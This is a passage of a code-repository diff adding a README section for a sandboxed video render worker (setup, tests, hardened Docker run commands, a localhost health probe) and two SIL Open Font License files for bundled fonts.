- **Mitigation & Trust Boundary**: `StageRenderBundle` and `BuildDefaultFontsStyleTag` inject `@font-face` declarations for the bundled default fonts (`'MJ Sans'` and `'MJ Mono'`), and `RunLintGate` requires every raw `<script src>` and JS `import` specifier to match `^[A-Za-z0-9._@/-]+$` (no leading `/`) and resolve to an entry in `Bundle.Files`. Because static analysis cannot prevent obfuscated JS or runtime-created `<script>` navigation and `@hyperframes/producer` / `hyperframes check` can still attempt Google Fonts lookups from Node for unbundled font families, **`LocalWorker` is for trusted / development compositions only, and Docker (`--network none`, `--read-only`, `--cap-drop=ALL`, `--security-opt=no-new-privileges` in `DockerRenderDriver`, VS-RND-4) is the security boundary for untrusted content (Decision 4 / D15).**
|
|
94
|
+
|
|
95
|
+
## Prerequisites & Local Development
|
|
96
|
+
|
|
97
|
+
1. **Install pinned `chrome-headless-shell`**:
|
|
98
|
+
```bash
|
|
99
|
+
cd packages/AI/VideoStudio/RenderWorker
|
|
100
|
+
pnpm run browser:install
|
|
101
|
+
```
|
|
102
|
+
2. **Install `ffmpeg` and `ffprobe`** (required for `/render`, `/keyframes`, and `/health`):
|
|
103
|
+
- **macOS**: `brew install ffmpeg`
|
|
104
|
+
- **Debian / Ubuntu**: `sudo apt-get update && sudo apt-get install -y ffmpeg`
|
|
105
|
+
3. **Build and run tests**:
|
|
106
|
+
```bash
|
|
107
|
+
# Build and run CI-safe unit tests (uses FakeRenderBackend, no browser or ffmpeg needed)
|
|
108
|
+
pnpm run build
|
|
109
|
+
pnpm test
|
|
110
|
+
|
|
111
|
+
# Run opt-in end-to-end Chromium + ffmpeg render and check tests
|
|
112
|
+
DO_NOT_TRACK=1 HYPERFRAMES_NO_TELEMETRY=1 VIDEO_STUDIO_RENDER_TESTS=1 pnpm test
|
|
113
|
+
|
|
114
|
+
# Start the HTTP worker locally on an ephemeral port (prints VIDEO_STUDIO_RENDER_WORKER_PORT=<port> on stdout)
|
|
115
|
+
node dist/main.js
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
## Docker Build & Run
|
|
119
|
+
|
|
120
|
+
> **Licensing note (Decision 8):** The runtime stage installs Debian Bookworm's `ffmpeg` package, which includes GPL-licensed components. This Docker image is for local/internal deployment and is not published to a public registry in this phase.
|
|
121
|
+
|
|
122
|
+
The image installs the exact `chrome-headless-shell` version expected by `@hyperframes/engine` into `/opt/puppeteer-cache` during the build stage, runs as non-root `USER node` (UID `1000`, compatible with any arbitrary non-root `--user uid:gid`), listens on port `8080` (`VIDEO_STUDIO_RENDER_HOST=0.0.0.0`, `VIDEO_STUDIO_RENDER_PORT=8080`), and defines `CMD ["node", "/app/dist/main.js"]` with **no `ENTRYPOINT`** so `DockerRenderDriver` (VS-RND-4) can run `sleep infinity` + `docker exec`.
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Build from the repository root
|
|
126
|
+
docker build -f packages/AI/VideoStudio/RenderWorker/Dockerfile -t mj-video-render-worker:local .
|
|
127
|
+
|
|
128
|
+
# Run with bearer token authentication and container hardening
|
|
129
|
+
docker run --rm -p 127.0.0.1:18080:8080 \
|
|
130
|
+
-e VIDEO_STUDIO_RENDER_TOKEN=change-me-token \
|
|
131
|
+
--read-only \
|
|
132
|
+
--tmpfs /tmp:rw,noexec,nosuid,size=2g \
|
|
133
|
+
--cap-drop=ALL \
|
|
134
|
+
--security-opt=no-new-privileges \
|
|
135
|
+
mj-video-render-worker:local
|
|
136
|
+
|
|
137
|
+
# Probe /health with the bearer token
|
|
138
|
+
curl -fsS -H "Authorization: Bearer change-me-token" http://127.0.0.1:18080/health
|
|
139
|
+
```
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
Copyright 2020 The Inter Project Authors (https://github.com/rsms/inter)
|
|
2
|
+
|
|
3
|
+
This Font Software is licensed under the SIL Open Font License, Version 1.1.
|
|
4
|
+
This license is copied below, and is also available with a FAQ at:
|
|
5
|
+
https://scripts.sil.org/OFL
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
-----------------------------------------------------------
|
|
9
|
+
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
|
|
10
|
+
-----------------------------------------------------------
|
|
11
|
+
|
|
12
|
+
PREAMBLE
|
|
13
|
+
The goals of the Open Font License (OFL) are to stimulate worldwide
|
|
14
|
+
development of collaborative font projects, to support the font creation
|
|
15
|
+
efforts of academic and linguistic communities, and to provide a free and
|
|
16
|
+
open framework in which fonts may be shared and improved in partnership
|
|
17
|
+
with others.
|
|
18
|
+
|
|
19
|
+
The OFL allows the licensed fonts to be used, studied, modified and
|
|
20
|
+
redistributed freely as long as they are not sold by themselves. The
|
|
21
|
+
fonts, including any derivative works, can be bundled, embedded,
|
|
22
|
+
redistributed and/or sold with any software provided that any reserved
|
|
23
|
+
names are not used by derivative works. The fonts and derivatives,
|
|
24
|
+
however, cannot be released under any other type of license. The
|
|
25
|
+
requirement for fonts to remain under this license does not apply
|
|
26
|
+
to any document created using the fonts or their derivatives.
|
|
27
|
+
|
|
28
|
+
DEFINITIONS
|
|
29
|
+
"Font Software" refers to the set of files released by the Copyright
|
|
30
|
+
Holder(s) under this license and clearly marked as such. This may
|
|
31
|
+
include source files, build scripts and documentation.
|
|
32
|
+
|
|
33
|
+
"Reserved Font Name" refers to any names specified as such after the
|
|
34
|
+
copyright statement(s).
|
|
35
|
+
|
|
36
|
+
"Original Version" refers to the collection of Font Software components as
|
|
37
|
+
distributed by the Copyright Holder(s).
|
|
38
|
+
|
|
39
|
+
"Modified Version" refers to any derivative made by adding to, deleting,
|
|
40
|
+
or substituting -- in part or in whole -- any of the components of the
|
|
41
|
+
Original Version, by changing formats or by porting the Font Software to a
|
|
42
|
+
new environment.
|
|
43
|
+
|
|
44
|
+
"Author" refers to any designer, engineer, programmer, technical
|
|
45
|
+
writer or other person who contributed to the Font Software.
|
|
46
|
+
|
|
47
|
+
PERMISSION & CONDITIONS
|
|
48
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
|
49
|
+
a copy of the Font Software, to use, study, copy, merge, embed, modify,
|
|
50
|
+
redistribute, and sell modified and unmodified copies of the Font
|
|
51
|
+
Software, subject to the following conditions:
|
|
52
|
+
|
|
53
|
+
1) Neither the Font Software nor any of its individual components,
|
|
54
|
+
in Original or Modified Versions, may be sold by itself.
|
|
55
|
+
|
|
56
|
+
2) Original or Modified Versions of the Font Software may be bundled,
|
|
57
|
+
redistributed and/or sold with any software, provided that each copy
|
|
58
|
+
contains the above copyright notice and this license. These can be
|
|
59
|
+
included either as stand-alone text files, human-readable headers or
|
|
60
|
+
in the appropriate machine-readable metadata fields within text or
|
|
61
|
+
binary files as long as those fields can be easily viewed by the user.
|
|
62
|
+
|
|
63
|
+
3) No Modified Version of the Font Software may use the Reserved Font
|
|
64
|
+
Name(s) unless explicit written permission is granted by the corresponding
|
|
65
|
+
Copyright Holder. This restriction only applies to the primary font name as
|
|
66
|
+
presented to the users.
|
|
67
|
+
|
|
68
|
+
4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
|
|
69
|
+
Software shall not be used to promote, endorse or advertise any
|
|
70
|
+
Modified Version, except to acknowledge the contribution(s) of the
|
|
71
|
+
Copyright Holder(s) and the Author(s) or with their explicit written
|
|
72
|
+
permission.
|
|
73
|
+
|
|
74
|
+
5) The Font Software, modified or unmodified, in part or in whole,
|
|
75
|
+
must be distributed entirely under this license, and must not be
|
|
76
|
+
distributed under any other license. The requirement for fonts to
|
|
77
|
+
remain under this license does not apply to any document created
|
|
78
|
+
using the Font Software.
|
|
79
|
+
|
|
80
|
+
TERMINATION
|
|
81
|
+
This license becomes null and void if any of the above conditions are
|
|
82
|
+
not met.
|
|
83
|
+
|
|
84
|
+
DISCLAIMER
|
|
85
|
+
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
|
86
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
|
|
87
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
|
|
88
|
+
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
|
|
89
|
+
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
|
|
90
|
+
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
|
|
91
|
+
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
|
92
|
+
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
|
|
93
|
+
OTHER DEALINGS IN THE FONT SOFTWARE.
|
|
Binary file
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
|
|
2
|
+
|
|
3
|
+
This Font Software is licensed under the SIL Open Font License, Version 1.1.
|
|
4
|
+
|
|
5
|
+
This license is copied below, and is also available with a FAQ at: https://scripts.sil.org/OFL
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
-----------------------------------------------------------
|
|
9
|
+
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
|
|
10
|
+
-----------------------------------------------------------
|
|
11
|
+
|
|
12
|
+
PREAMBLE
|
|
13
|
+
The goals of the Open Font License (OFL) are to stimulate worldwide
|
|
14
|
+
development of collaborative font projects, to support the font creation
|
|
15
|
+
efforts of academic and linguistic communities, and to provide a free and
|
|
16
|
+
open framework in which fonts may be shared and improved in partnership
|
|
17
|
+
with others.
|
|
18
|
+
|
|
19
|
+
The OFL allows the licensed fonts to be used, studied, modified and
|
|
20
|
+
redistributed freely as long as they are not sold by themselves. The
|
|
21
|
+
fonts, including any derivative works, can be bundled, embedded,
|
|
22
|
+
redistributed and/or sold with any software provided that any reserved
|
|
23
|
+
names are not used by derivative works. The fonts and derivatives,
|
|
24
|
+
however, cannot be released under any other type of license. The
|
|
25
|
+
requirement for fonts to remain under this license does not apply
|
|
26
|
+
to any document created using the fonts or their derivatives.
|
|
27
|
+
|
|
28
|
+
DEFINITIONS
|
|
29
|
+
"Font Software" refers to the set of files released by the Copyright
|
|
30
|
+
Holder(s) under this license and clearly marked as such. This may
|
|
31
|
+
include source files, build scripts and documentation.
|
|
32
|
+
|
|
33
|
+
"Reserved Font Name" refers to any names specified as such after the
|
|
34
|
+
copyright statement(s).
|
|
35
|
+
|
|
36
|
+
"Original Version" refers to the collection of Font Software components as
|
|
37
|
+
distributed by the Copyright Holder(s).
|
|
38
|
+
|
|
39
|
+
"Modified Version" refers to any derivative made by adding to, deleting,
|
|
40
|
+
or substituting -- in part or in whole -- any of the components of the
|
|
41
|
+
Original Version, by changing formats or by porting the Font Software to a
|
|
42
|
+
new environment.
|
|
43
|
+
|
|
44
|
+
"Author" refers to any designer, engineer, programmer, technical
|
|
45
|
+
writer or other person who contributed to the Font Software.
|
|
46
|
+
|
|
47
|
+
PERMISSION & CONDITIONS
|
|
48
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
|
49
|
+
a copy of the Font Software, to use, study, copy, merge, embed, modify,
|
|
50
|
+
redistribute, and sell modified and unmodified copies of the Font
|
|
51
|
+
Software, subject to the following conditions:
|
|
52
|
+
|
|
53
|
+
1) Neither the Font Software nor any of its individual components,
|
|
54
|
+
in Original or Modified Versions, may be sold by itself.
|
|
55
|
+
|
|
56
|
+
2) Original or Modified Versions of the Font Software may be bundled,
|
|
57
|
+
redistributed and/or sold with any software, provided that each copy
|
|
58
|
+
contains the above copyright notice and this license. These can be
|
|
59
|
+
included either as stand-alone text files, human-readable headers or
|
|
60
|
+
in the appropriate machine-readable metadata fields within text or
|
|
61
|
+
binary files as long as those fields can be easily viewed by the user.
|
|
62
|
+
|
|
63
|
+
3) No Modified Version of the Font Software may use the Reserved Font
|
|
64
|
+
Name(s) unless explicit written permission is granted by the corresponding
|
|
65
|
+
Copyright Holder. This restriction only applies to the primary font name as
|
|
66
|
+
presented to the users.
|
|
67
|
+
|
|
68
|
+
4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
|
|
69
|
+
Software shall not be used to promote, endorse or advertise any
|
|
70
|
+
Modified Version, except to acknowledge the contribution(s) of the
|
|
71
|
+
Copyright Holder(s) and the Author(s) or with their explicit written
|
|
72
|
+
permission.
|
|
73
|
+
|
|
74
|
+
5) The Font Software, modified or unmodified, in part or in whole,
|
|
75
|
+
must be distributed entirely under this license, and must not be
|
|
76
|
+
distributed under any other license. The requirement for fonts to
|
|
77
|
+
remain under this license does not apply to any document created
|
|
78
|
+
using the Font Software.
|
|
79
|
+
|
|
80
|
+
TERMINATION
|
|
81
|
+
This license becomes null and void if any of the above conditions are
|
|
82
|
+
not met.
|
|
83
|
+
|
|
84
|
+
DISCLAIMER
|
|
85
|
+
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
|
86
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
|
|
87
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
|
|
88
|
+
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
|
|
89
|
+
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
|
|
90
|
+
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
|
|
91
|
+
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
|
92
|
+
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
|
|
93
|
+
OTHER DEALINGS IN THE FONT SOFTWARE.
|
|
Binary file
|